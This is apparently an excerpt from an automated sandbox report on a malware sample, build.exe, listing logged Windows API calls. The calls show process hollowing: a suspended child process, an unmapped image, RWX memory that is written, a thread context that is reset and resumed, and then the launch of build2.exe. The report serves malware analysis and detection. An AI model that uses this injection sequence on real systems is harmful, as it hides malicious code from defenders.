CreateProcessInternalW July 4, 2021, 11:03 a.m.	thread_identifier: 8548 thread_handle: 0x0000007c process_identifier: 3700 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\build.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\build.exe" --Admin IsNotAutoStart IsNotTask filepath_r: C:\Users\test22\AppData\Local\Temp\build.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000080	1	1
NtGetContextThread July 4, 2021, 11:03 a.m.	thread_handle: 0x0000007c	1	0
NtUnmapViewOfSection July 4, 2021, 11:03 a.m.	base_address: 0x00400000 region_size: 4096 process_identifier: 3700 process_handle: 0x00000080	1	0
NtAllocateVirtualMemory July 4, 2021, 11:03 a.m.	process_identifier: 3700 region_size: 1273856 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000080	1	0
WriteProcessMemory July 4, 2021, 11:03 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 3700 process_handle: 0x00000080	1	1
NtSetContextThread July 4, 2021, 11:03 a.m.	registers.eip: 2000355780 registers.esp: 1638384 registers.edi: 0 registers.eax: 4342081 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000007c process_identifier: 3700	1	0
NtResumeThread July 4, 2021, 11:03 a.m.	thread_handle: 0x0000007c suspend_count: 1 process_identifier: 3700	1	0
CreateProcessInternalW July 4, 2021, 11:03 a.m.	thread_identifier: 6420 thread_handle: 0x000002a0 process_identifier: 2120 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\d4619d00-241d-4776-a151-bd1052ec2f43\build2.exe track: 1 command_line: "C:\Users\test22\AppData\Local\d4619d00-241d-4776-a151-bd1052ec2f43\build2.exe" filepath_r: C:\Users\test22\AppData\Local\d4619d00-241d-4776-a151-bd1052ec2f43\build2.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000298	1	1

build.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All